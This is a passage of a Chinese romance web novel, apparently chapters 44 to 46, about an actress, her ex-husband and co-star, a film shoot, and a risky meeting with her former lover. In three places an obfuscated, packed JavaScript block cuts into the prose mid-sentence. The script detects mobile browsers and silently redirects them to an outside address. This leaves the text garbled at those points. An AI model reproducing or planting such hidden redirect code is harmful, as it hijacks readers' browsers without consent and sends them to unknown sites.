小花的消息让她心神不宁,但主动联系傅谦明询问显然不是个好选择。她必须要沉得住气。 戴上戒指的时候,她总联想到自己的婚礼,短暂地转移注意力。 其实现在回忆,那场婚礼在筹备时她几乎没有参与,却有很多她喜欢的细节。叶平川甚至为婚礼推掉了一部国际导演的片约,只为把一切都安排妥帖。 论起对婚礼的贡献,她基本就只是说了“要不要和我结婚?”那么一句话而已。 她至今都不知道,叶平川是怎么说服家人在不知底细的情况下欣然接受了她。 尤其是婚礼当天,她父母都不在场。她没有让亲友陪伴,就那样一个人捧着花踏上了红毯。叶平川原本应该站在终点等她,可才看着她走了两步,就忍不住朝她跑过来。 哪有新郎跑到红毯中间来接人的,排练的时候压根也没这么一段。可他笑得那么开心,抱起自己的妻子连转了好几圈,拉着她一起继续往前走。 仿佛迫不及待地想要跟她共度余生。 临时起兴造就的婚礼名场面,在热搜上挂了好几天。事后他抱怨那段红毯实在太长了。太阳好大,细高跟水晶鞋也不好走路,预先都没有考虑周全。 其实红毯上架着花藤又漂亮又遮荫,她穿十公分的高跟熟练到可以跑步跳舞。她觉得叶平川只是不想让她在应该有家人陪伴的时刻里独自走红毯,怕她在众目睽睽之下感到尴尬,局促或是难过。 在爱里长大的孩子,怎么可能不会爱人呢。 最不可思议的,就是他自己出生在一个非常好的家庭里,却从未劝说过她与家人和解,重建亲情。 或许正是因为生活在健全的观念里,他才不会用“我即世界”的思维,想当然地去要求别人。他信任她的选择和判断,不干涉,不过问。看似漫不经心,实际上却是多少人都做不到的接纳与包容。 除此之外,还有很重要的一点。 拍完《胜春朝》四分之三的戏份,两人又一次共同出差,在飞机上头抵头聊八卦。聊到梁天都啧啧感叹,“好大的瓜,好多的瓜。” 他跟云灯一起蛐蛐过的人可以填满半个娱乐圈,八卦时从不会站在道德高点评判,也没有莫名其妙的底线,更不会各打五十大板,叫她管好自己。 主打一个老婆讨厌谁我也必须得帮着骂两句。 被小助理一句话提醒,云灯也发现了,“你以前好像都没太关注过这些。” 以前聊八卦,都是她先跟叶平川提起的比较多。 “顺带着发现的。”叶平川说。 从离婚那天到进组前,他几乎每天都会搜一下云灯的新闻。 她出道作品演了恶女,部分人会有先入为主的印象,观众缘算不上很好,再加上总是忽然爆火,圈里看她不顺眼的人也多。娱乐版面乐得添油加醋,隔三差五就写谁谁谁又跟她不合。 那些跟云灯有关的人,基本都在他身边能接触到的圈子里,同事或者朋友的朋友,随便打听一下就能认识。以前没注意也就算了,但凡他起了点好奇心,稍微问两句就能吃到很多精彩的瓜。 见不到老婆的日子里,他就是这样搜新闻和吃瓜交替度过的。八卦储备量被动增长。 聊天时云灯不自觉地摆弄着无名指上的钻戒,就像她坐在王位时常拨动手腕的镯子。叶平川又看得眼热,也伸手去摸。 “你自己没有吗?” 他望了眼自己手上的戒指,客观评价,“我这个没你的好看。” “这个也给你戴好了。” 云灯作势要摘,被他一把握住,“别别别。” 出发前他软磨硬泡,云灯才愿意跟他一起戴婚戒出席活动的。 她对这枚失而复得的戒指接受良好,问都没问他是怎么找回来的。 叶平川本来也觉得吵完架半夜打着手电去沙子里挖几个小时听起来不是很帅,更不甜美。正好就不用说那么多。 最近身边议论他们离婚的声音越来越多,直接间接地传到了他耳朵里。虽然程序上确实是离了,但他人还在这呢,不宣示一下主权,难免会有别的男人往她身边凑。 毕竟娱乐圈定律,离过婚的女明星反而人气更盛。 今夜两人出席的look是服装师一起搭配的,新中式风格,他的黑色西装和云灯的黑色旗袍上都绣了金竹。出了剧组,云灯依旧戴着那只帝王紫的翡翠镯子。 粉丝很会从细节找糖吃。现在被拍到了,以后剧宣期都是会被翻出来的,提升热度的小物料。 除此之外最引人注目的,当然还是那一对闪亮的婚戒。 红毯设置了直播机位。当晚走过的夫妻档不止一对,但别人都是端庄地挽着手臂。他们俩却是手牵着手走,跟晚上吃完饭出来遛弯似的。 除了男帅女美赏心悦目,整个气场就很和谐融洽,甚至看起来不像是才结婚两年的小夫妻,更有种相熟多年的默契。 【难以形容,就感觉他俩真的好熟……有没有人懂】 【姐妹我懂!!有种上辈子就认识的感觉啊在不在一起都会玩得很好的那种】 【所以才恋爱闪婚这么迅速吧我悟了!遇到对的人就是不用犹豫啊】 【怎么看着越长越像了,私底下没少亲嘴吧你俩】 【哈哈哈哈到底是谁传离婚谣言啊这两位有一点能离的样子吗】 【……】 Afterparty两人也都在。云灯刚露面就被许久不见的小姐妹拉去讲八卦。她但凡出现总是风头很劲,虽然容易招妒忌,喜欢她的人当然也不少。 叶平川没跟着,就坐在那儿吃东西。社交场合大家都不怎么正经用餐,以至于主办方对食物也不够细致,上的几乎全是冷盘。 他在剧组被角色限制饮食,好不容易出来有机会吃一口,结果吃得很不高兴。脸色一冷,旁人还以为他没心情社交,都不敢上前来搭讪。 云灯握着酒杯,在房间另一头跟人聊着天,时不时看他一眼。 满座浮光,衣香鬓影。两人遥遥对视,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599999|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到叶平川撇了一下嘴角,用口型说,“好难吃啊。” “……” 她蓦然低头笑了,神情是说不出的柔软动人。 身边的朋友顺着她刚才看的地方望一眼,哪里还有不明白的,纷纷羡慕道,“你跟老公感情真好啊,最近又能在一起拍戏。” 同为演艺圈里的夫妻,如果各自进组拍戏,常常会几个月见不到面。再加上工作里要和别的帅哥美女共事,感情很容易出问题。 云灯想了想,说,“他很乖。” 结婚前后,她都不太管叶平川。以至于宋澄锦来探班都会教她多调.教老公,跟她讲爱不是放任而是约束。 大概是这位伟大的婆婆在调.教自家老公时,给孩子造成了潜移默化的教育影响。她觉得叶平川自我管理意识已经够可以了——行程透明,忘记报备了随时可以去助理那里查问,每天电话短信不断,偶尔忙到实在没空,隔天还要多补一会儿。 她不知道还要怎么管叶平川,有时候甚至希望他能独立点,给自己找点别的事做。 毕竟她对嫁入豪门的憧憬,一直都是“日日有钱花,老公不回家”的生活。 爱不必要,有忠诚就可以。实在没有,夫妻义气也行。 如果叶平川真的是结了婚就不回家的那种男人,或许她反而不会这么想离婚。 晚餐会结束后,叶平川要飞一趟京市,她直接回剧组。 也只是分别一晚而已,明天下午就又见面了。叶平川却表现得很没安全感,到了机场不下车,靠在她身上撒娇,“你亲我一下再走。” 她有点好笑,“你有完没完啊。” “那你倒是亲不亲啊?”他用诱人当昏君的嗓音,黏糊地说,“就当作慈善了陛下,朝廷的赈灾粮该发下来了陛下。” “……” 云灯认命地妥协,“亲亲亲。” 把他打发走,两人要去不同的航站楼候机。刚坐下,她又收到一长串的微信嘱咐。 【我右眼皮一直跳,肯定没好事】 【那个演你皇弟长大后的高中生是不是明天进组?你别对他笑啊,小男生最爱多想了,还没有底线,给点好脸就敢冲】 【老男人也不行!】 云灯精心挑选出一张无语菩萨的表情包。恰好发送完毕,申雪舒的微信消息就进来了。 【他没说下次什么时候来看我】 【不过我猜他这几天不会来了,他在内地的生意好像出了什么问题,按理说应该要去忙着处理吧】 【只是我猜的啊。你也知道他那个人的,我根本就看不透他心里在想什么】 云灯回一句知道了,熄灭手机屏幕,长长地叹了口气。 怕失去主动权,她不能直接找傅谦明,就只能从他身边的人来推断。 早知道上次就抓紧时间留黑K的微信了。虽然很容易被他的老板察觉,但她完全可以伪装成朋友叙旧时不经意的聊天,多探出一些小花的消息。 她要把骆小花带出来,最近都在衡量自己已有的资本,是否有跟傅谦明谈判的把握。 但她手上的筹码显然还不够多。 申雪舒说他最近生意受阻。是什么生意? 如果她能拿到,够不够用来交换想要的人呢。 云灯垂眼出神,转动指间的戒指,一圈又一圈。登机时间就快到了,忽然有个陌生的男人朝她走来,西装革履戴着通讯耳机,体型高大,看样子像是保镖。 她身边只有梁天跟着。看情况也觉得不对劲,小助理站起来挡住她,壮着胆子问,“你好,请问有什么事吗?现在是私人时间。” “我来替傅先生传话。” 男人用公事公办的语气转达,“相约不如巧遇,可否载潘小姐一程?” “……” 梁天有些摸不着头脑,但是听语气似乎没有恶意。她愿意善意地认为,这人是纯粹神经病。 广播里提醒开始登机了。云灯牵起嘴角,墨镜下目光望向外面的停机坪。 在机场的专属停机位上,她认出那一架是傅谦明的私人飞机,“还有呢?” 的确还有一句。保镖微微侧身,朝外面做了一个邀请的手势。 “Floria在机上。或许,你会想见她一面。” 45. 第 45 章 既定的行程发生了变化。航班里少了一位乘客,取而代之的是,深夜的酒店后门,从迈巴赫里一起下车的是两个人。 月明星稀。叶清靠在近期最爱的情人怀里,难得温存地坐在台阶上看月亮。 瞄到从车里出来的两人时,她饶有兴致地抬了一下眉毛,起身离开男孩富有弹性的大腿,“可以滚了。” “现在?可是我……” “再想起你的时候我会叫你。” “好吧。”想继续做她的情人,就要够识趣。他没有再反驳,点了点头走进酒店里。 叶清没功夫多看他一眼,双手环胸,要笑不笑地望着街边那对依依惜别的男女。 平心而论,那场景氛围很适合出现在她写的都市文,套进“爹系霸总和他的千金”cp壳子里。 云灯今夜卷了长发,别在耳侧,微微低头时神情显得温婉动人。 傅谦明吻了她的额头,说完最后一句话,转身上车。 叶清将他的口型看得一清二楚,车门关上的瞬间,很欠地重复了一遍。 “Goodgirl。” 她没有克制音量,惹得云灯倏地回眸望过来。 多么见鬼的瞬间呢。 但云灯的表情没有什么变化。 她有些扫兴。 深夜私会老情人,要在跟现任关系稳定时才劲爆。可惜她已经知道云灯和叶平川离婚的内幕,就导致现在连捉奸都不够刺激。 “你后天杀青?”路过她身边时,云灯忽然问。 “喝一杯?” “好啊。”叶清慢悠悠地回答,却猝不及防地伸手,抓住她的头发往下猛地一拽。力气一点也不比她前些天用的小。 头皮被扯痛,云灯反而笑出了声,“你很幼稚诶。” 都是记仇的人,这么一来一回也扯不平,但她们还是暂时放下过结,去找地方喝酒。 明天还要工作,云灯不想离酒店太远,干脆就在巷子里的便利店坐下。避风的位置,门口有两张露天小桌。 乱七八糟的调酒摆满桌台,两人都没吃东西,纯喝,也难得和平地共享了同一包烟。 叶清看出她心里有事,但并没有善良到主动关怀的地步,抽烟的间隙里还拿手机敷衍了一下扮委屈撒娇的小男孩。 “到时候给你定做杀青蛋糕。你喜欢什么样的?什么口味?”云灯只抽了两口就扔在桌上,用酒浇灭了还剩大半的烟头,自言自语般说,“红色吧,符合角色,用嘉兰百合点缀,应该会适合。” “大半夜出来喝酒就为了讲这个?” “嗯。”她说,“随便讲讲呀。我只是不想一个人待着。” 叶清被恶心到抖了一下,终于放下手机吐槽,“鬼迷心窍。放着叶平川那么好糊弄的人不要,傅谦明是什么好东西吗?” 云灯说,“老东西当然也有好处的呀。他孤家寡人的,万一哪天嘎嘣死了,连个继承人都没有。” “他要你回去继承?” “哼哼。没办法,谁让我这么聪明伶俐,令人难以忘怀。” “……” 叶清皱了一下眉,冷冷地说,“他是想让你去死。” 就算真的要培养继承人,也不该从旧情人里挑,无论是性别还是身份都太难服众。 唯一合理的方法还是结婚。可她以为大嫂就是很好当的吗?无论怎样都是风口浪尖,傅谦明出了事她第一个就会被推出来顶罪。 “他那种男人,永远不会放弃掌控权。你别妄想他真的会让渡权力给你。” 叶清指间夹着烟,一点猩红燃烧在眼底,“只不过是方便了他,隐藏在幕后更安全。白叫你去当替死鬼罢了。” “我会有那么容易死吗?”她拨了一下长发,摇头晃脑道,“放心吧,就算是真的,断气之前我也一定会把他先熬死,继承他的海岛庄园和亿万财产~爽爽嘟。” “要钱不要命……” 一眼看过去就是风险大过收益的买卖。叶清有些想不通,“你需要多少。难道叶平川不给你?” 说什么离婚不离婚。只要叶平川还喜欢她,少那层关系根本起不到什么阻碍。 叶平川还喜欢她吗? 在组里待了这么久,任何人只要眼睛不瞎就都能看得出答案。 云灯假模假样地摇头叹气,贡献出经典台词:“我想要的他给不了。” “……” “你有病。”她说。 她懒得再劝。反正东亚人骨子里就吃恨海情天这套,大方坦荡的爱不带劲,就非要纠缠折磨,牵扯不清。再留下点经得起毕生揣摩的遗憾,怀缅回味时才显得有几分真情。 她无端想起小时候刚回到叶家,叶平川隔三岔五就会来给她送东西。门从没开过,她就站在二楼,冷眼看着那个男孩在门口苦恼地转圈。 叶平川会在随礼物附赠的卡片上写字,很规矩地叫她姐姐。因为没机会跟她说话,所以都写了下来,很详细地解释为什么选这个礼物送给她。 小孩子的笔触总是笨拙又真诚。她不允许自己融入这个家,扔掉了所有礼物,但唯独还是留下卡片。 后来再看,其实那份真心并不是因为他是小孩子。只因为他是叶平川。 可惜付出真心的人总是没有好下场。 哪怕她从来都看不惯异母所生的弟弟,这一刻也难得有些可怜他,“叶平川遇上你真是倒霉。” 云灯笑嘻嘻地托着腮,用手指敲打玻璃酒瓶,“我们总算有一件事能达成共识。” 叶清皱眉看她。说不出她身上有什么不对,但感觉很怪。 “你呢。”云灯问,“还是打算后半辈子一直找小男生玩吗?” 一直以来两人碰面,除了假笑就是互相看不惯。这种拉家常一样的问句从未出现在她们之间,以至于连平静的语气都显得疯疯癫癫。 叶清顿了一下,不以为然道,“当然是玩够了就找个靠谱的男人安定下来。” “Nono。”她摇晃着手指,“姐姐,告诉你一个秘密,把希望寄托在男人身上会变得不幸的喔。” “……” “还是说——啊呦,你心里有人选了。”云灯望着她眨眼,闪烁的眸光比天上星更明亮,又格外锐利地照破人心底的隐秘,露出狡黠的笑意,“那他也蛮倒霉的。” “年初我第一次读你的小说,是一个女孩历经坎坷登上最高位的故事,为了自己的路,亲情爱情友情全都可以牺牲掉。现在和谢凭渊的感情线,是我们编剧润色过很多的,她们都觉得感情太寡了不好看。但其实我不觉得。我更喜欢原著剧情。” 云灯笑道,“可是原来,不仅角色和演员要分开,就连创造她的作者也要分开来看。” 没想到写出孤傲一世的女帝的人,实际上却很需要家庭的温暖。追求一份世俗意义上的安定归宿。 “是又怎么样。”叶清讥笑,“那些男的玩不动了,找个老实女人结婚过日子的多得是。反过来我就不行?看不出你脑袋里还装着这种牌坊。” “可老实男人,远没有女人那么好找啊。” 今夜云灯脾气好得过分,任她骂也不还嘴,甚至又说,“非要去一个素不相识的人身上试错吗?叶平川的父母人都很好,你想要的温情,或许回几趟家就能得到。” 叶清说,“我早就跟他们划清界限了。” 她有她的自尊和骄傲。 云灯笑了笑,拿起酒和她碰了一下。 每个人走到现在,都有宿命般的缘由。 如果几句话就能劝动她,那当初的小叶清压根不会那么决绝,对送上门的温情视而不见。 正是因为很早就做出了选择,现在的她只会继续走在践行自己的道路上,不会回头。 每个人都在为当初的自己买单。 “再喝一杯吧,以后还不知道会怎样呢。”云灯轻轻地说,“祝我们今晚都能睡个好觉。” 她鲜少露出如此柔软感性的一面,极具迷惑性。仿佛愿意倾听和理解你的全部,下一秒就会给你一个带着香气的吻。 从事艺术行业的人都对美有着本质的追求,当下静谧安宁的氛围,任谁都不愿意破坏。 以至于叶清很久之后回忆起来,才察觉她态度温和的根源。 那种“人之将死其言也善”的口吻。 很像是在告别。 ** 叶清的香烟成分不明。云灯很久没有碰过类似的违禁品,虽然很快意识到,只抽两口就放下了,但身体反应还是很大。 意识在致幻效果里扭曲变形,陷入迷茫。她真的有亲眼见到Flora了吗?那是她的小花吗?变化好大。 为什么全程都不抬眼看她?是还在怨恨她吗?还是已经忘了她?或完全不在意她? 强烈的过敏反应让她在早晨醒来时眼睛肿得睁不开,嗓子也刀片割过似的疼。冲完冷水澡好了些,为节省时间就没去医院。 她没接到叶平川的电话,其实看见了,但急着出门,急着急着就忘了,还以为自己已经回复过。直到中午叶平川来片场找她,才发现并没有。 联系不上她还有小助理。叶平川不至于太着急,但显然以为她是不想理他,才故意不接电话也不回消息的,过来时脸色乌云密布。 改签航班却不告诉他。 梁天不认识什么傅先生,他可认识。 梁天自觉把事儿办坏了,话都不敢说,只好尬笑,假装很忙地低着头到处摸索,很不经意地退出两人之间。 邓晓琼还不知道怎么回事,打了声招呼就继续和云灯说戏。 今晚的大夜戏可能要通宵,组里正在紧锣密鼓地准备。叶平川往旁边一坐,从大衣口袋里摸出只新手机扔过来。 云灯不明所以地接住,看了一眼,还是最新款的。 “你手机坏了。”他说,“收不到我消息,还是趁早换了吧。” 这才反应过来,云灯嘴角一弯,故意道,“不够吧,1TB也装不下你的小心眼。” 他冷哼一声,早有所料,继续从口袋里往外掏,新手机一部接着一部地往她身上扔。 “这个用来回我微信,这个用来接我电话。这个专门打游戏。够了吗?” 邓晓琼:“……” 你俩还真是啥锅配啥盖呢。 “我出去抽根烟。”她不放心地叮嘱,“工作场合注意影响啊,你俩有什么事回酒店再乱搞。” 云灯捧着一堆手机乖巧点头。 等外人全都走了,他嗷一嗓子直接炸毛,“你昨晚跟那个姓傅的见面了?” 他就说怎么眼皮一直跳! “见了啊。”云灯把手机放一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620400|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边玩叠叠乐,“你这么大反应干嘛?他又不会吃了我。” “我怎么能没反应,那种法制咖你还理他干什么啊!”叶平川尽力敛着怒气。并不单纯因为她偷偷跟前男友见面,更多的是了解之后的担忧。 傅谦明的发家史并不光彩,从一开始就游走在灰色地带,身上不干不净的官司很多。他最初让程沐风帮忙查过,已经有了一点基本印象,可后来让叶家人介入,进一步得到的内情还是闻之变色。 那种乌漆嘛黑的人,像他这样按时纳税的优秀市民是一点都不愿意沾上关系的。他也不愿意让云灯沾染。 “你不会是还喜欢他吧?” 叶平川神情严肃,握住她的手腕拉向自己,一字一顿道,“你听我说,别乱来。” 云灯被迫与他对视,似乎有些费解地歪了一下头,“可你不是说过么,我可以胡乱做选择。无论怎样都会给我兜底呢。” “我是让你别对自己乱来!”叶平川无奈极了,不知道她是真不懂还是故意曲解,有些急促地说,“不要再见他了好不好?我可以让他后半辈子都走不出港市,没机会再出现在你面前。可你不能又……” “是你做的?”云灯恍然道,“是你啊。” 怪不得傅谦明主动制造机会见她,向她抛出橄榄枝。估计是还想让她和叶平川周旋,好解救内地那些被打压的项目呢。 她忽然又对叶平川感到怜爱。他的感情意图总是明确而张扬,毫无遮掩。所以也会毫无保留地被人利用。 “不要再做了。”她说。 她喜欢叶平川的其中一点,就是他拥有力量而从未滥用。更何况凡事都有代价,她知道叶平川向来都不愿意跟京市的叶家人有过多交际。 他有一张保命的底牌,原本是能供他享受一辈子的,不该浪费在跟傅谦明作对这种无聊的事情上。 叶平川一愣,很难不想到,“你是在……帮他说话?” 难以置信的语气。 像被当头浇了一盆冷水。他急切的关心被强行剪断,推向某个他不愿意多想的方向。 云灯知道他是一定忍不住要问的,只要稍微等等——他果然咬紧牙关,低声问她,“你们昨天晚上一直待在一起吗。” 他想说的话必然不止这一句,可都咬牙咽了回去。云灯叹了口气,手指抚过他泛红的眼角,“是不是很想问我们都干了什么,却发现自己并没有质问的资格?” “……” 最要命的一点被她说中。叶平川却还记得自己正在往甜妹转型,不想在她面前乱发脾气,隐忍到几近恳求,“我没有要限制你跟别人见面的自由,但就是,他不行,他真的不行。” 云灯说,“他不行,那我看上别人就行了?” “……” 叶平川有种错觉,云灯是故意在挑动他发火,想大吵一架。可这又是为了什么? “好了没有?”邓晓琼抽完烟回来,把门敲得梆梆响。“赶紧准备上戏,把词对一对。” 他收起迷思,一言不发地起身去做今天的妆造,调整状态入戏。 谈话就此中断。云灯看他压着性子去工作,似乎有点遗憾,抬手推倒了手机。 今天要拍的戏份是边境诸国中势力最强的部落王子来朝见,商议联姻事宜。 宫宴之上,野心蠢蠢欲动。异国王子对龙椅上的女君主并不像父辈那样臣服,甚至出言调戏。一个女人,如何坐得稳王位? 女人天生就应该为后为妃。 “若与大庆朝联姻,我必然要最美丽的女人。”不可一世的异国王子用眼角掠着她,暧昧之情尽显,“陛下何不亲自随我回到部落,尽赏边境风光?” 一国君主岂容如此觊觎羞辱。 谢凭渊就坐在贵宾席对面,闻言面色未动,捏碎了手中的琉璃酒盏。 朝臣们脸色也都不好看,却碍于部落势力日渐强盛,明面上不好发作得罪。 “王子说笑了。”言秋高坐大殿之上,挂着得体的浅笑,眸中杀意已显,“联姻大事自然马虎不得。不如等宴席结束,王子独自来后殿见我,再细细商议。” 又是“独自”又是“我”,蠢直的异国人将这当成大庆女王的示好,喜不自胜地应允。 笙歌尽,夜色死寂。 皇帝寝殿外,无数御林侍卫悄无声息地罗列,严阵以待。 摔杯为令。 全副武装的军人破门而入,潮水般涌进宫殿,将瘫倒在地的人团团包围。 “不……大胆!你们想干什么!” 谢凭渊从森严的守卫中缓步走出,雪白宽袍衣袖翻飞,面沉如水。 言秋气定神闲,朝他点了一下头。 “传令各国,部落王子意欲行刺!”谢凭渊朗声道,“陛下痛心不已,然天威不可犯,只得将其就地正裁,以正国法!” 闹剧在惨叫声中落幕。言秋对着地上的尸体莞尔一笑,“拖出去。” 看似天衣无缝的里应外合,只是宫宴上一个眼神的交换。她并未提前嘱咐过谢凭渊,但凭信任,“来的时机很好。” 谢凭渊有些笑不出来。 他不喜欢这种以身犯险的做法,却也只能配合。人都已经处理了,他却还未放松,视线落在她微微散开的衣领,俊朗的眉宇间是掩不住的戾气。 “他哪只手碰你?” 46. 第 46 章 叶平川的专业水平有目共睹,也经得起各大电影节的奖项验证。但在当下这个片段出现时,所有人心中还是不约而同地冒出了一句—— 不像演的。 不知道为什么,现场的气氛很凝重,连续三场戏拍完都有人因为拍摄顺利而笑一声。 绝妙的转折点发生在叶清过来转了一圈,忽然把手上的戒指摘下来,扔给云灯,“抵昨晚的酒钱。” 云灯从善如流地接住,把玩着细细的指环,用捡漏的语气感慨,“哇,是金子耶。” “……” 叶平川闻风而动,“你们昨晚上一起喝酒了?” “不然呢,你以为她在跟谁鬼混?”叶清惯常用看弱智的眼神看他。 她路过搅合了一下局势就走了,顺手的事。留下叶平川完成逻辑闭环后在原地懊悔,心虚得汗都快冒出来了,眼巴巴望过来,“那我……” 胡乱猜疑。怪不得云灯说那些话,肯定是生他的气呢。 “啧,拍戏呢。”云灯打了个暂停的手势。“专心一点。” 叶平川不继续说了,含住血浆包乖巧地点头,“唔。” 这一场是谢凭渊下线的重要转折点,两人在行宫遇刺戏。 言秋上位后手段比先皇更加残暴果决,大庆朝从未想过要与边疆部族联姻,不过是在等待时机一举将其吞并。出使的王子殒命便是一个讯号。 苟延残喘的异邦人决定奋力一搏,潜入行宫行刺。园内火光冲天,在这场乱战中,谢凭渊中箭重伤。 他吐血的镜头有六个机位反复特写,每一帧都要经得起考验。倒下的姿势和位置也都是提前走位确认过的,唯一的意外是,云灯冲过去接住他时离台阶太近,手腕在石阶上重重地磕了一下。 分外清晰的一声脆响。镯子碎了一地。 镜里镜外的人都愣住了。 别人或许都以为她腕上的镯子是剧组道具,但邓晓琼是知道的,那是云灯的私人物品。 收藏级的好东西,就这么碎了,她都忍不住呲牙嘶了一口冷气。却盼着云灯稳住——这场的人员调度有些复杂,每一遍重拍都很麻烦。 云灯果然没有让这一条成为废片。 她的视线没有分给镯子一秒,仿佛那声响压根没传到她耳朵里,颤抖的手指不听使唤,机械地去擦他嘴角溢出的鲜血,怎么都擦不完。 因为朝政,她和谢凭渊之间有过争执,有过猜疑,全是因为身份所困,他们甚至都不能在人前大方地并肩而立,总是隔着一段距离。 可在这一刻,君和臣的距离已经很淡很淡,她眼里只有即将要失去的,濒死的爱人。巨大的惶恐笼罩着她惨白的脸庞,从坐上王位起就被诟病手段残酷暴戾的帝王,在这一片火光中,感受到从未有过的无能为力。 她只能用力地抱紧,好像这样就能挽留爱人逐渐消散的生机。 “别怕……别,别怕。”他的声音竟还带着笑意,似乎已经满足能陪她走到这里,“你已经,很好……很好。” 是在说她已经成长为一个合格的帝王,即便今后没有他在旁辅佐,也能将治理好天下。 可是她不能没有谢凭渊。 从她身世不明的少女时期,成长起来的每一步都有他的身影,贯彻她的人生历程。她早就不记得没有谢凭渊在的日子是什么感受,谁要是把他夺去,就相当于把她身体里一半的养分都抽走。 “不好!”她强硬地绷起脸,语气如同昔日颁布政令。严厉中却又泄露出一丝恳求,“谢慎远,你不许死。” “人都会有这一天。” “谁说的?我不许!” 她无法接受这样突然的失去。她拥有号令整个国家运转的权力,却无法命令他不被死亡带走。 谢凭渊的目光落在那一地手镯的残片上,不忍地轻颤。 自古玉碎都有隐喻,放在他身上亦是。 “疼不疼?”他用最后的力气握住言秋的手,吻了她手臂上被划破的血痕,“待我身后,再……” 他闭上眼睛,爱人的眼泪滴落在他脸颊上,“再寻他人陪你”的话终究未能说出口。 “再不要这般伤心。”他轻声道。 “不要……不要走,不要走!”她一瞬间泪如雨下。在死亡面前,再尊贵的帝王也如蝼蚁般卑微,“求你……求求你了。” 她甚至质疑这一切都是错的,到底怎样的天下值得牺牲至此,拼命守护。为了登上皇位,手足反目至亲相残,昔日好友也为她送命。一路走到今天,除了谢凭渊,她再也没有什么人可以失去的了。 怀中的人终于不再回应她的呼唤。火光炸响,祭起一场凤凰泣血的悲鸣。 前路漫漫,等待她的只有无边无际的孤独。 现场久久寂静后响起爆发式的掌声。邓晓琼摘下眼镜擦了擦眼泪,叫周边的人先不要上去打扰,给演员留一点时间出戏。 导演喊卡的瞬间,叶平川条件反射似的弹起来抱她。 生离死别这样强烈的情绪,云灯短时间内抽离不出来,还在小幅度地抽噎,被他一把搂住差点呛到,咳嗽起来。 “怎么了怎么了?”叶平川穿着单薄的戏服,寒冬腊月里怀抱还烫得吓人,摸着她的后脑勺连声安抚,“没事没事,我还在呢,没事的啊。缓缓再起来,别着急。” “嗯。”云灯头抵着他,调整呼吸,想他身上还插着箭,这样轻声细语地安慰她也是搞笑,很快就恢复过来,清了清嗓子,“可以了,我后面还有两场呢。” “那我就在这看着,等你拍完了再回去。”叶平川把她扶起来,拍了拍身上的灰。两人的视线不约而同地投向地上四分五裂的手镯。 她没说什么。叶平川叫助理过来收拾,连同细小的碎屑也先区域性地扫起来装好,之后再清洗分离。 哭戏的后劲太大。她顺利拍完后面两场,下班时还是脑瓜子嗡嗡的,回酒店的路上话都不想说,靠着车窗发呆。 叶平川偏偏还靠过来,“在生我的气?” 她摇头,“没有。”没力气生气。 “那就是在难过?怪我,倒下去的位置没选好。”他说,“镯子我已经让人送去修复了,说不定还能修好。你喜欢就再买十个八个的换着戴,别伤心。” “不用了。”她顿了顿,又补充道,“你什么回家,记得跟阿姨解释一下,免得她心里难受。” 叶平川愣了愣,才反应过来她是在说宋澄锦。毕竟镯子是宋澄锦拍下来送给她的。 可那声“阿姨”像一道天堑隔在两人之间,连他的心也劈开了,绵绵不绝的疼痛叫人呼吸困难。 “我会跟她说的。”叶平川深呼吸,“你先不要考虑别人了。多注意一下自己的情绪可以吗?还有没有不舒服的感觉?” 她说没有,沉默片刻后转过头来,眼神空空的,“叶平川,我有一点累。” “那抱一会儿好吗?”叶平川声音很轻,手掌温暖有力,“抱抱你。” 身体契合的拥抱似乎能把心里的裂缝填满。 凌晨两点的夜空算不上美丽,云灯闭上眼睛,听到他在耳边说,“辛苦了。今天那场真的特别好,就是听你哭成那样太难受了,可导演一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646096|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直不喊卡,我只能忍着装死。” “等片子剪出来,放大看说不定都能看见我眼皮在抖,到时候我们一起看,肯定很搞笑。” 连续熬夜拍戏对演员的情绪消耗很厉害。他知道云灯一定不是表面上看起来那么事不挂心的人。她的感情细腻幽微,聪明又有很强的共情能力。这样的特质能帮助她洞察角色内心,同时也会让她的精神负担很重。 卓越的表现力往往需要与角色产生强烈的情感共鸣,很容易带入某些相似的揪心时刻。 叶平川用絮絮叨叨的话帮她缓解压力,还是有点担心,就说,“我今晚留下来陪你可以吗?只睡觉。” “嗯。” 她没怎么考虑就答应了,看起来真的很需要陪伴。叶平川便又难忍怜爱,亲吻她乌黑的发顶。 “我跟傅谦明是昨天在机场碰见的。”她忽然道,“他的飞机上还有我以前的朋友,我离开港市后就再没联系了,所以很想去见见。” “不是想为他说好话。你应该也知道,他手里没什么正经生意,我好不容易才跑出来的,所以也不想你跟那种人掺和在一起。对你没有好处。” 叶平川笑起来,修补好的心脏泡进蜜糖里,“你是因为关心我,才不让我对他动手的。” “所以能不能不要再做了?”云灯微微抬头,语气有点严肃。“就当是让我安心。” 